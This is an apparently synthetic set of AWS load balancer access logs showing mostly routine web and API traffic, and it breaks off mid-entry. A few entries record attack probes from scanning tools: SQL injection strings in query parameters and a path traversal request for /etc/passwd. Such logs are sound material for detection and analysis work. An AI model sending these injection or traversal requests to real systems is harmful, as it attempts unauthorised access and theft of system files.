+https 2024-11-01T02:34:47.140380Z prod-api-alb 167.63.89.51:40191 10.0.196.90:443 0.071686 0.151700 0.097385 200 200 464 3520 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbd7-5b8706fe03f04518bd92e392" "prod-api-alb.example.com" "-" 5 2024-11-01T02:34:47.140380Z "forward" "-" "-" "10.0.196.90:443" "200" "-" "-" +https 2024-11-01T02:34:48.947417Z prod-web-alb 130.236.14.107:33736 10.0.141.211:443 0.079527 0.144258 0.010999 302 302 385 4413 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbd8-a2e7cae0e1ac407194dfd13c" "prod-web-alb.example.com" "-" 10 2024-11-01T02:34:48.947417Z "forward" "-" "-" "10.0.141.211:443" "302" "-" "-" +https 2024-11-01T02:34:50.552609Z prod-api-alb 151.235.65.53:27384 10.0.160.194:443 0.074539 0.263232 0.063421 200 200 387 9185 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbda-a09a3ef222b04c749d2a2c55" "prod-api-alb.example.com" "-" 1 2024-11-01T02:34:50.552609Z "forward" "-" "-" "10.0.160.194:443" "200" "-" "-" +https 2024-11-01T02:34:51.518387Z prod-web-alb 193.27.228.59:24513 10.0.182.239:443 0.008618 0.491144 0.045409 500 500 182 14868 "GET /login?id=1'-- HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbdb-03498907f4c4457c89a507ae" "-" "-" 5 2024-11-01T02:34:51.518387Z "forward" "-" "-" "10.0.182.239:443" "500" "-" "-" +https 2024-11-01T02:34:53.051098Z prod-api-alb 72.198.179.209:32055 10.0.21.74:443 0.029915 0.464779 0.076722 200 200 167 12820 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbdd-0d39019b2eeb4949a64479d8" "prod-api-alb.example.com" "-" 2 2024-11-01T02:34:53.051098Z "forward" "-" "-" "10.0.21.74:443" "200" "-" "-" +https 2024-11-01T02:34:53.939329Z prod-api-alb 61.90.49.13:56642 10.0.41.43:443 0.006936 0.137102 0.075013 404 404 253 5621 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbdd-9b917fe4686e43bca90a2be2" "prod-api-alb.example.com" "-" 7 2024-11-01T02:34:53.939329Z "forward" "-" "-" "10.0.41.43:443" "404" "-" "-" +http 2024-11-01T02:34:54.307589Z staging-alb 173.104.109.20:10937 113.144.155.5:80 0.130139 0.298254 0.089707 200 200 994 14058 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbde-1a44a5fff0c748659324b275" "staging-alb.example.com" "-" 9 2024-11-01T02:34:54.307589Z "forward" "-" "-" "113.144.155.5:80" "200" "-" "-" +https 2024-11-01T02:34:55.563886Z prod-api-alb 235.166.41.150:14821 10.0.60.157:443 0.096490 0.202509 0.048753 200 200 313 11742 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbdf-d1baa45a5f2b4351b471e1b5" "prod-api-alb.example.com" "-" 5 2024-11-01T02:34:55.563886Z "forward" "-" "-" "10.0.60.157:443" "200" "-" "-" +https 2024-11-01T02:34:57.555250Z staging-alb 162.199.231.9:61536 173.198.226.22:80 0.002622 0.581718 0.149936 301 301 790 10451 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbe1-6a47e3ef4d3f416e967213c1" "staging-alb.example.com" "-" 3 2024-11-01T02:34:57.555250Z "forward" "-" "-" "173.198.226.22:80" "301" "-" "-" +https 2024-11-01T02:34:59.349992Z prod-web-alb 4.179.215.183:42675 10.0.139.107:443 0.080724 0.212682 0.045693 200 200 76 4912 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbe3-bf7e933212914c04b11d4e48" "prod-web-alb.example.com" "-" 4 2024-11-01T02:34:59.349992Z "forward" "-" "-" "10.0.139.107:443" "200" "-" "-" +https 2024-11-01T02:34:59.825113Z prod-api-alb 12.218.192.69:43361 10.0.225.181:443 0.064659 0.415249 0.009964 302 302 545 3291 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbe3-a85cc9d8043c41c3923bce11" "prod-api-alb.example.com" "-" 6 2024-11-01T02:34:59.825113Z "forward" "-" "-" "10.0.225.181:443" "302" "-" "-" +http 2024-11-01T02:35:01.542936Z staging-alb 75.205.243.122:49809 65.90.70.248:8080 0.024187 0.666161 0.124344 302 302 833 6549 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbe5-5ee83f533b6f47cea6c0c14b" "-" "-" 2 2024-11-01T02:35:01.542936Z "forward" "-" "-" "65.90.70.248:8080" "302" "-" "-" +https 2024-11-01T02:35:02.017276Z prod-web-alb 46.159.242.5:40516 10.0.15.58:443 0.075328 0.356412 0.020111 200 200 461 1185 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbe6-419b7c4f37994fc5a4ccb0e8" "prod-web-alb.example.com" "-" 1 2024-11-01T02:35:02.017276Z "forward" "-" "-" "10.0.15.58:443" "200" "-" "-" +http 2024-11-01T02:35:02.384011Z staging-alb 171.3.62.205:63046 216.201.187.180:80 0.055405 0.552489 0.095596 200 200 861 13303 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbe6-3c22470acff742e38beea38d" "staging-alb.example.com" "-" 3 2024-11-01T02:35:02.384011Z "forward" "-" "-" "216.201.187.180:80" "200" "-" "-" +https 2024-11-01T02:35:02.841557Z prod-web-alb 55.38.213.57:53562 10.0.20.184:443 0.092343 0.099813 0.050518 301 301 707 1428 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbe6-ca1fb164dd1843aab69b8bcd" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:02.841557Z "forward" "-" "-" "10.0.20.184:443" "301" "-" "-" +https 2024-11-01T02:35:03.654672Z staging-alb 4.231.247.27:57902 138.247.162.12:80 0.020107 0.609685 0.014489 302 302 415 14059 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbe7-74703845b0eb42228832cafc" "staging-alb.example.com" "-" 2 2024-11-01T02:35:03.654672Z "forward" "-" "-" "138.247.162.12:80" "302" "-" "-" +https 2024-11-01T02:35:04.514702Z prod-web-alb 31.171.29.26:10730 10.0.241.138:443 0.018677 0.184126 0.072121 404 404 132 4445 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbe8-da23a80c3dea4dfab049d819" "prod-web-alb.example.com" "-" 0 2024-11-01T02:35:04.514702Z "forward" "-" "-" "10.0.241.138:443" "404" "-" "-" +https 2024-11-01T02:35:05.308103Z prod-api-alb 104.115.167.135:13329 10.0.87.37:443 0.069730 0.197920 0.010305 200 200 233 9837 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbe9-2a47dfd7e8b041feab68cfc4" "prod-api-alb.example.com" "-" 7 2024-11-01T02:35:05.308103Z "forward" "-" "-" "10.0.87.37:443" "200" "-" "-" +http 2024-11-01T02:35:06.087477Z staging-alb 76.215.109.173:34525 95.7.152.22:8080 0.045568 0.098127 0.058709 404 404 793 3439 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbea-714fc23f5a1c41d9ac6c082f" "staging-alb.example.com" "-" 0 2024-11-01T02:35:06.087477Z "forward" "-" "-" "95.7.152.22:8080" "404" "-" "-" +https 2024-11-01T02:35:07.957464Z prod-api-alb 185.92.134.190:23311 10.0.43.52:443 0.071693 0.117267 0.007436 200 200 422 10036 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbeb-efbf853f608f419eaa1b0c76" "prod-api-alb.example.com" "-" 9 2024-11-01T02:35:07.957464Z "forward" "-" "-" "10.0.43.52:443" "200" "-" "-" +https 2024-11-01T02:35:08.181439Z prod-api-alb 164.188.118.60:18132 10.0.189.183:443 0.035758 0.233760 0.041528 302 302 755 10654 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbec-0945644c42154de797694f16" "prod-api-alb.example.com" "-" 1 2024-11-01T02:35:08.181439Z "forward" "-" "-" "10.0.189.183:443" "302" "-" "-" +http 2024-11-01T02:35:08.392934Z staging-alb 186.215.113.176:57012 249.131.204.244:8080 0.040100 0.172578 0.054188 200 200 170 11631 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbec-27fe8bcc489c472185a2e653" "staging-alb.example.com" "-" 3 2024-11-01T02:35:08.392934Z "forward" "-" "-" "249.131.204.244:8080" "200" "-" "-" +https 2024-11-01T02:35:09.228860Z prod-api-alb 217.31.225.103:25123 10.0.1.68:443 0.008615 0.301558 0.032712 302 302 907 8471 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbed-b82a745554d749ba9a59dbd9" "prod-api-alb.example.com" "-" 0 2024-11-01T02:35:09.228860Z "forward" "-" "-" "10.0.1.68:443" "302" "-" "-" +https 2024-11-01T02:35:10.033140Z staging-alb 18.196.180.99:44240 5.60.18.212:80 0.022100 0.080120 0.140371 301 301 960 8863 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbee-51af8a4acc1e44bf9b148275" "staging-alb.example.com" "-" 3 2024-11-01T02:35:10.033140Z "forward" "-" "-" "5.60.18.212:80" "301" "-" "-" +https 2024-11-01T02:35:11.677116Z prod-api-alb 223.5.69.11:58741 10.0.194.10:443 0.030090 0.129882 0.003892 200 200 945 10033 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbef-f8b5029e6f1e48cfb39ae14e" "prod-api-alb.example.com" "-" 4 2024-11-01T02:35:11.677116Z "forward" "-" "-" "10.0.194.10:443" "200" "-" "-" +https 2024-11-01T02:35:13.157166Z prod-api-alb 186.217.23.118:27414 10.0.99.9:443 0.050529 0.194403 0.067174 200 200 580 380 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf1-08199ead9de943e189a7c11d" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:13.157166Z "forward" "-" "-" "10.0.99.9:443" "200" "-" "-" +https 2024-11-01T02:35:14.642777Z prod-api-alb 71.81.212.6:22370 10.0.147.111:443 0.079812 0.170087 0.036937 200 200 431 10684 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf2-007f0770e6644118b446f1e3" "prod-api-alb.example.com" "-" 8 2024-11-01T02:35:14.642777Z "forward" "-" "-" "10.0.147.111:443" "200" "-" "-" +http 2024-11-01T02:35:15.110026Z staging-alb 137.125.183.173:38596 4.55.11.125:443 0.108631 0.253653 0.035775 200 200 923 8144 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbf3-dd2a2fff63594cdf9af56f58" "staging-alb.example.com" "-" 7 2024-11-01T02:35:15.110026Z "forward" "-" "-" "4.55.11.125:443" "200" "-" "-" +https 2024-11-01T02:35:16.651025Z prod-api-alb 89.230.76.34:62134 10.0.66.87:443 0.029492 0.075329 0.085281 301 301 722 6223 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf4-52d8d273d84147ab98e0d494" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:16.651025Z "forward" "-" "-" "10.0.66.87:443" "301" "-" "-" +https 2024-11-01T02:35:18.092790Z prod-api-alb 147.29.125.172:36118 10.0.188.160:443 0.063423 0.491460 0.003282 200 200 21 9585 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbf6-8fc4c56f301b4258bd40cbac" "prod-api-alb.example.com" "-" 9 2024-11-01T02:35:18.092790Z "forward" "-" "-" "10.0.188.160:443" "200" "-" "-" +https 2024-11-01T02:35:19.882785Z staging-alb 142.88.17.233:53683 169.157.54.225:8080 0.046858 0.086682 0.106636 200 200 134 10239 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbf7-175fbb6d3aa148da93433e3c" "staging-alb.example.com" "-" 10 2024-11-01T02:35:19.882785Z "forward" "-" "-" "169.157.54.225:8080" "200" "-" "-" +https 2024-11-01T02:35:21.361959Z prod-api-alb 137.68.40.101:24030 10.0.192.36:443 0.093881 0.499842 0.022054 404 404 751 3900 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbf9-d92104cfc14d4a25996e368d" "prod-api-alb.example.com" "-" 6 2024-11-01T02:35:21.361959Z "forward" "-" "-" "10.0.192.36:443" "404" "-" "-" +https 2024-11-01T02:35:22.247926Z staging-alb 105.41.180.176:51648 197.89.165.189:8080 0.067542 0.518435 0.069345 404 404 33 14105 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbfa-c1cfe94f8d844f20a3316cb8" "staging-alb.example.com" "-" 10 2024-11-01T02:35:22.247926Z "forward" "-" "-" "197.89.165.189:8080" "404" "-" "-" +https 2024-11-01T02:35:22.901815Z prod-web-alb 205.115.102.45:48237 10.0.7.171:443 0.073414 0.488375 0.050556 200 200 418 268 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dbfa-ff1043ceb4fb495e9bf970f7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:35:22.901815Z "forward" "-" "-" "10.0.7.171:443" "200" "-" "-" +http 2024-11-01T02:35:23.318427Z staging-alb 248.12.129.85:15761 79.51.231.60:8080 0.135986 0.227196 0.051403 301 301 871 5810 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723dbfb-cb381b25c2a14de4b637e5b4" "staging-alb.example.com" "-" 9 2024-11-01T02:35:23.318427Z "forward" "-" "-" "79.51.231.60:8080" "301" "-" "-" +https 2024-11-01T02:35:24.877650Z prod-web-alb 93.85.129.132:37749 10.0.205.67:443 0.038892 0.379756 0.037361 200 200 726 2759 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dbfc-c94ddf0913484a35a079e898" "prod-web-alb.example.com" "-" 0 2024-11-01T02:35:24.877650Z "forward" "-" "-" "10.0.205.67:443" "200" "-" "-" +https 2024-11-01T02:35:26.079406Z staging-alb 54.72.216.73:29319 252.130.90.70:8080 0.043011 0.538493 0.067104 301 301 150 5508 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dbfe-e9a67660e815485f9d9dd7bf" "staging-alb.example.com" "-" 3 2024-11-01T02:35:26.079406Z "forward" "-" "-" "252.130.90.70:8080" "301" "-" "-" +https 2024-11-01T02:35:26.803373Z prod-api-alb 126.27.9.173:62919 10.0.252.64:443 0.086620 0.312265 0.077299 200 200 605 3603 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dbfe-953243985d3d46f1b4108601" "prod-api-alb.example.com" "-" 0 2024-11-01T02:35:26.803373Z "forward" "-" "-" "10.0.252.64:443" "200" "-" "-" +https 2024-11-01T02:35:27.118062Z prod-api-alb 173.88.75.168:30884 10.0.221.70:443 0.001837 0.349146 0.091804 200 200 444 5342 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dbff-def1c495546141d0846185d0" "-" "-" 3 2024-11-01T02:35:27.118062Z "forward" "-" "-" "10.0.221.70:443" "200" "-" "-" +https 2024-11-01T02:35:28.837111Z prod-web-alb 48.254.217.126:46569 10.0.209.175:443 0.028249 0.045604 0.009918 301 301 770 14507 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723dc00-0b81e22ccafb48fe8d51109f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:35:28.837111Z "forward" "-" "-" "10.0.209.175:443" "301" "-" "-" +https 2024-11-01T02:35:29.323742Z prod-api-alb 205.126.28.130:13133 10.0.250.203:443 0.012865 0.311910 0.005643 404 404 823 3327 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc01-b02045b2bf2848c1bd6c0c6f" "prod-api-alb.example.com" "-" 5 2024-11-01T02:35:29.323742Z "forward" "-" "-" "10.0.250.203:443" "404" "-" "-" +https 2024-11-01T02:35:30.717043Z prod-api-alb 185.181.178.132:11655 10.0.94.229:443 0.043127 0.498313 0.045724 403 403 384 1225 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "subfinder/v2.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc02-f073a7fcb5834a5a82aa0a52" "-" "-" 3 2024-11-01T02:35:30.717043Z "forward" "-" "-" "10.0.94.229:443" "403" "-" "-" +https 2024-11-01T02:35:32.146012Z staging-alb 63.102.79.251:25761 80.166.57.91:8080 0.107259 0.162669 0.028895 404 404 151 12101 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723dc04-361f9f4e3ce2487bb58f8853" "staging-alb.example.com" "-" 8 2024-11-01T02:35:32.146012Z "forward" "-" "-" "80.166.57.91:8080" "404" "-" "-" +https 2024-11-01T02:35:32.264181Z prod-web-alb 195.97.0.210:61951 10.0.135.187:443 0.030389 0.034882 0.043865 301 301 211 266 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723dc04-c8eed3b6535b4c398c31d6b1" "prod-web-alb.example.com" "-" 2 2024-11-01T02:35:32.264181Z "forward" "-" "-" "10.0.135.187:443" "301" "-" "-" +https 2024-11-01T02:35:33.689563Z prod-api-alb 235.107.129.84:49769 10.0.104.95:443 0.059459 0.157931 0.026812 301 301 566 3140 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723dc05-fb6d80f01b00431094ec65cb" "prod-api-alb.example.com" "-" 2 2024-11-01T02:35:33.689563Z "forward" "-" "-" "10.0.104.95:443" "301" "-" "-" +https 2024-11-01T02:35:34.266896Z prod-api-alb 202.143.237.195:18769 10.0.82.164:443 0.058126 0.130644 0.017033 404 404 89 13818 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc06-d6e7c96b1988485b870704dd" "prod-api-alb.example.com" "-" 1 2024-11-01T02:35:34.266896Z "forward" "-" "-" "10.0.82.164:443" "404" "-" "-" +https 2024-11-01T02:35:34.574252Z prod-api-alb 193.27.228.26:10727 10.0.82.239:443 0.086371 0.392004 0.025380 404 404 547 2423 "GET /../../../etc/passwd HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723dc06-5aa92991b6984db58d617f28" "-" "-" 0 2024-11-01T02:35:34.574252Z "forward" "-" "-" "10.0.82.239:443" "404" "-" "-" +https 2024-11-01T02:35:34.750877Z prod-api-alb 